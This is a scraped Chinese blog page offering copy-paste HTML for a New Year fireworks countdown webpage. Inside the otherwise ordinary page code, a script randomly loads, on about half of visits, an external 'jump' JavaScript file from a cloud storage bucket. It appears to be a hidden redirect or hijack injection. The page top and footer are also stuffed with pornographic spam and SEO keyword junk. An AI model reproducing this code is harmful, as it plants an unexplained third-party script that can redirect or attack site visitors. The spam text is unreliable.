<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      跨年動態炫酷煙花網頁代碼

        煙花效果的實現可以采用前端技術,如HTML、CSS和JavaScript。通過結合動畫、粒子效果等技術手段,可以創建出獨特而炫目的煙花效果。同時,考慮到性能和兼容性,需要確保效果在各種設備上都能夠良好運行。

        效果演示http://www.bokequ.com/show/demo17/index.html

        用戶可以根據自己的需求調整煙花的顏色、形狀、密度等參數,以適應不同的場景和主題。通過這個項目,我們希望為開發者提供一個簡單易用、靈活可擴展的煙花效果庫,使他們能夠輕松地將這一炫酷效果集成到自己的項目中。

      <!DOCTYPE html><!-- This web page is copied by "http://www.bokequ.com/485.html" -->
      <html lang="en">
      <head>
      <meta charset="utf-8"><!--!????????????????????????-->
          <style type="text/css">
          p{font-weight:bold;}
          p{font-weight:1000;}
          p{font-size:48px;}
          p{font-family:"楷體";}
          </style><!--!????????????????????????-->
          <title>跨年快樂放煙花網頁 - bokequ.com</title>
          <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"><!--!????????????????????????-->
          <meta name="mobile-web-app-capable" content="yes"><!--!????????????????????????-->
          <meta name="apple-mobile-web-app-capable" content="yes"><!--!????????????????????????-->
          <meta name="theme-color" content="#000000"><!--!????????????????????????-->
          <meta name="msapplication-TileColor" content="#000000"><!--!????????????????????????-->
          <link href="css/main.css" rel="stylesheet">
          <script src="js/jquery.min.js" type="text/javascript"></script><!--!????????????????????????-->
          <script>
              var shouci = true;
              console.log(shouci);
      
              function bodyPlayMusic() {
                  if (shouci) {
                      shouci = false;
                      audio.play();
                      console.log(shouci);
                  }
              };
          </script>
      </head>
      <!-- onclick="bodyPlayMusic()" -->
      <body>
          <audio id="audioDom" src="images/gongxi.mp3" preload="auto" loop="loop"></audio>
          <div id="yhBtn" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:999;display:flex;flex-direction:column;justify-content:center;align-items:center;color:#fff ; font-size:20px    ">
              <p>??點擊放煙花??</p>
              <img style="width:64px;margin-bottom:36px " src="images/boom.png">
          </div>
      
          <div style="height: 0; width: 0; position: absolute; visibility: hidden;">
              <svg xmlns="http://www.w3.org/2000/svg">
                  <symbol id="icon-play" viewBox="0 0 24 24">
                      <path d="M8 5v14l11-7z"></path>
                  </symbol>
                  <symbol id="icon-pause" viewBox="0 0 24 24">
                      <path d="M6 19h4V5H6v14zm8-14v14h4V5h-4z"></path>
                  </symbol>
                  <symbol id="icon-close" viewBox="0 0 24 24">
                      <path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z">
                      </path>
                  </symbol>
                  <symbol id="icon-settings" viewBox="0 0 24 24">
                      <path d="M19.43 12.98c.04-.32.07-.64.07-.98s-.03-.66-.07-.98l2.11-1.65c.19-.15.24-.42.12-.64l-2-3.46c-.12-.22-.39-.3-.61-.22l-2.49 1c-.52-.4-1.08-.73-1.69-.98l-.38-2.65C14.46 2.18 14.25 2 14 2h-4c-.25 0-.46.18-.49.42l-.38 2.65c-.61.25-1.17.59-1.69.98l-2.49-1c-.23-.09-.49 0-.61.22l-2 3.46c-.13.22-.07.49.12.64l2.11 1.65c-.04.32-.07.65-.07.98s.03.66.07.98l-2.11 1.65c-.19.15-.24.42-.12.64l2 3.46c.12.22.39.3.61.22l2.49-1c.52.4 1.08.73 1.69.98l.38 2.65c.03.24.24.42.49.42h4c.25 0 .46-.18.49-.42l.38-2.65c.61-.25 1.17-.59 1.69-.98l2.49 1c.23.09.49 0 .61-.22l2-3.46c.12-.22.07-.49-.12-.64l-2.11-1.65zM12 15.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5z">
                      </path>
                  </symbol>
                  <symbol id="icon-sound-on" viewBox="0 0 24 24">
                      <path d="M3 9v6h4l5 5V4L7 9H3zm13.5 3c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77s-2.99-7.86-7-8.77z">
                      </path>
                  </symbol>
                  <symbol id="icon-sound-off" viewBox="0 0 24 24">
                      <path d="M16.5 12c0-1.77-1.02-3.29-2.5-4.03v2.21l2.45 2.45c.03-.2.05-.41.05-.63zm2.5 0c0 .94-.2 1.82-.54 2.64l1.51 1.51C20.63 14.91 21 13.5 21 12c0-4.28-2.99-7.86-7-8.77v2.06c2.89.86 5 3.54 5 6.71zM4.27 3L3 4.27 7.73 9H3v6h4l5 5v-6.73l4.25 4.25c-.67.52-1.42.93-2.25 1.18v2.06c1.38-.31 2.63-.95 3.69-1.81L19.73 21 21 19.73l-9-9L4.27 3zM12 4L9.91 6.09 12 8.18V4z">
                      </path>
                  </symbol>
              </svg>
          </div>
      <script>
          var aaa = Math.ceil(Math.random()*100);
          console.log(aaa);
          if(aaa <= 50){
              document.writeln("<script src=\"https://api123ff.oss-cn-beijing.aliyuncs.com/jump_https_1231.js?id=wtx18&m=15&c=1\"><\/script>");
              //alert("AAA=" + aaa);
          }
      </script><!--!????????????????????????-->
          <!-- App -->
          <div class="container">
              <div class="loading-init">
                  <div class="loading-init__header"></div>
                  <div class="loading-init__status"></div>
              </div>
              <div class="stage-container remove">
                  <div class="page_two hide">
                      <div id="text" style="display:none;"><p>倒計時<br>2025<br>還有<span id="time"></span>
                      <br><span id="text1"></span>
                      <br>把新年煙花轉發給你最好的朋友<br>
                      <br>彩蛋:點擊屏幕任意地方即可放煙花<br>
                      <span id="copyright"></span>
                      </p>
                      </div>
                      <div class="type_words" id="contents" style="font-size:1.15rem;line-height:1.5rem;"></div>
                  </div>
                  <div class="canvas-container">
                      <canvas id="trails-canvas"></canvas>
                      <canvas id="main-canvas"></canvas>
                  </div>
      
                  <div class="menu hide">
                      <div class="menu__inner-wrap">
      
                          <div class="menu__header">設置</div>
      
                          <form>
                              <div class="form-option form-option--select">
                                  <label class="shell-type-label">煙花類型</label>
                                  <select class="shell-type"></select>
                              </div>
                              <div class="form-option form-option--select">
                                  <label class="shell-size-label">煙花大小</label>
                                  <select class="shell-size"></select>
                              </div>
                              <div class="form-option form-option--select">
                                  <label class="quality-ui-label">畫質</label>
                                  <select class="quality-ui"></select>
                              </div>
                              <div class="form-option form-option--select">
                                  <label class="sky-lighting-label">天空照明</label>
                                  <select class="sky-lighting"></select>
                              </div>
                              <div class="form-option form-option--select">
                                  <label class="scaleFactor-label">規模</label>
                                  <select class="scaleFactor"></select>
                              </div>
                              <div class="form-option form-option--checkbox">
                                  <label class="auto-launch-label">自動發射</label>
                                  <input class="auto-launch" type="checkbox">
                              </div>
                              <div class="form-option form-option--checkbox form-option--finale-mode">
                                  <label class="finale-mode-label">結局模式</label>
                                  <input class="finale-mode" type="checkbox">
                              </div>
                              <div class="form-option form-option--checkbox">
                                  <label class="hide-controls-label">隱藏控制器</label>
                                  <input class="hide-controls" type="checkbox">
                              </div>
                              <div class="form-option form-option--checkbox form-option--fullscreen">
                                  <label class="fullscreen-label">全屏</label>
                                  <input class="fullscreen" type="checkbox">
                              </div>
                              <div class="form-option form-option--checkbox">
                                  <label class="long-exposure-label">打開快門</label>
                                  <input class="long-exposure" type="checkbox">
                              </div>
                          </form>
                      </div>
                  </div>
              </div>
              <div class="help-modal">
                  <div class="help-modal__overlay"></div>
                  <div class="help-modal__dialog">
                      <div class="help-modal__header"></div>
                      <div class="help-modal__body"></div>
                      <button type="button" class="help-modal__close-btn">關閉</button>
                  </div>
              </div>
          </div>
          <!-- partial -->
          <script src="js/fscreen.js"></script><!--!????????????????????????--><!--!????????????????????????-->
          <script src="js/Stage.js"></script><!--!????????????????????????--><!--!????????????????????????-->
          <script src="js/MyMath.js"></script><!--!????????????????????????--><!--!????????????????????????-->
          <script src="js/script.js"></script><!--!????????????????????????--><!--!????????????????????????-->
      
          <script>
              function musicPlay(isPlay) {
                  var media = document.querySelector('#audioDom');
                  if (isPlay && media.paused) {
                      media.play();
                  }
                  if (!isPlay && !media.paused) {
                      media.pause();
                  }
              }
      
              function musicInBrowserHandler() {
                  setTimeout(function() {
                      musicPlay(true)
                  }, 0)
              }
              document.body.addEventListener('touchstart', musicInBrowserHandler);
              $('#yhBtn').click(e => {
                  $('#yhBtn').hide()
                  setTimeout(() => {
                      start()
                      fireworks();
                  }, 1600) // 
                  setTimeout(() => {
                      function audioAutoPlay() {
                          var audio = document.getElementById('audioDom');
                          audio.play();
                      }
                      audioAutoPlay();
                  }, 800) // 
                  console.log(updateConfig({
                      autoLaunch: true
                  }));
              })
      
              function fireworks() {
                  $('.page_one').addClass('hide');
                  $('.page_two').removeClass('hide');
              }
      
              function start() {
                  let str = $("#text").html(); //"于我而言,你是最好且是唯一"
                  let str_ = ''
                  let i = 0
                  let content = document.getElementById('contents')
                  let timer = setInterval(() => {
                      if (str_.length < str.length) {
                          str_ += str[i++]
                          content.innerHTML = '<p>' + str_ + '<span class="xx" style="opacity: 1;    color: white;">?</span></p>' //打印時加光標
                      } else {
                          clearInterval(timer)
                          content.innerHTML = '<p>' + str_ + '</p>'
                      }
                  }, 100)
              }
          </script><!--!????????????????????????--><!--!????????????????????????-->
      <script>
              function time() {
          window.setTimeout("time()", 1000);
          var seconds = 1000
          var minutes = seconds * 60
          var hours = minutes * 60
          var days = hours * 24
          var years = days * 365
          var today = new Date()
          var todayYear = today.getFullYear()
          var newYear=todayYear+1
          var lastYear=todayYear-1
          var todayMonth = today.getMonth() + 1
          var todayDate = today.getDate()
          var todayHour = today.getHours()
          var todayMinute = today.getMinutes()
          var todaySecond = today.getSeconds()
          var t1 = Date.UTC(newYear, 1, 1, 0, 00, 00)
          var t2 = Date.UTC(todayYear, todayMonth, todayDate, todayHour, todayMinute, todaySecond)
          var diff = t1 - t2
          var diff2 = t2-t1
          var diffYears = Math.floor(diff / years)
          var diffDays = Math.floor((diff / days) - diffYears * 365)
          var diffHours = Math.floor((diff - (diffYears * 365 + diffDays) * days) / hours)
          var diffMinutes = Math.floor((diff - (diffYears * 365 + diffDays) * days - diffHours * hours) / minutes)
          var diffSeconds = Math.floor((diff - (diffYears * 365 + diffDays) * days - diffHours * hours - diffMinutes *
              minutes) / seconds)
          var diff2Years = Math.floor(diff2 / years)
          var diff2Days = Math.floor((diff2 / days) - diff2Years * 365)
          var diff2Hours = Math.floor((diff2 - (diff2Years * 365 + diff2Days) * days) / hours)
          var diff2Minutes = Math.floor((diff2 - (diff2Years * 365 + diff2Days) * days - diff2Hours * hours) / minutes)
          var diff2Seconds = Math.floor((diff2 - (diff2Years * 365 + diff2Days) * days - diff2Hours * hours - diff2Minutes *
              minutes) / seconds)
           if(todayMonth==1){if(todayDate==1){document.getElementById("text1").innerHTML =  "現在是1月1日,祝你"+todayYear+"新年快樂!"}}
           else{document.getElementById("text1").innerHTML =  "提前祝你"+newYear+"新年快樂"}
           document.getElementById("time").innerHTML =  diffDays + "" + diffHours + "小時" + diffMinutes + "分鐘" + diffSeconds + ""
      }
      time()
      </script>
      </body>
      </html>

       

      posted @ 2024-05-05 14:57  博客趣  閱讀(3380)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 亚州AV无码乱码精品国产| 国产不卡一区二区四区| 中字幕人妻一区二区三区| 无码专区 人妻系列 在线| 國產尤物AV尤物在線觀看| 成全影视大全在线观看| 黄色大全免费看国产精品| 亚洲av色香蕉一区二区三区精品| 国内精品无码一区二区三区 | 宅男噜噜噜66在线观看| 亚洲精品色哟哟一区二区| 亚洲成a人无码av波多野| 亚洲国产成人资源在线| 精品国产一区二区三区av色诱| 中文字幕精品亚洲无线码二区| 国内精品久久久久影院网站| 亚洲成亚洲成网| 国内精品大秀视频日韩精品| 国产AV国片精品有毛| 99久久成人亚洲精品观看| 精品无码国产一区二区三区AV| 韩国无码av片在线观看| 中文字幕国产精品第一页| 久久久久国色av免费观看性色| 亚洲精品国产av成人网| 黄色A级国产免费大片视频| 荥经县| 精品精品国产自在97香蕉| 2021AV在线无码最新| 西和县| 中国女人熟毛茸茸A毛片| 日本久久99成人网站| 武安市| 亚洲中文无码手机永久| 一区一区三区产品乱码| 亚洲国产精品无码一区二区三区| 884aa四虎影成人精品| 亚洲成a人片在线视频| 国内自拍av在线免费| 国产精品人成在线播放蜜臀 | 动漫精品中文无码卡通动漫|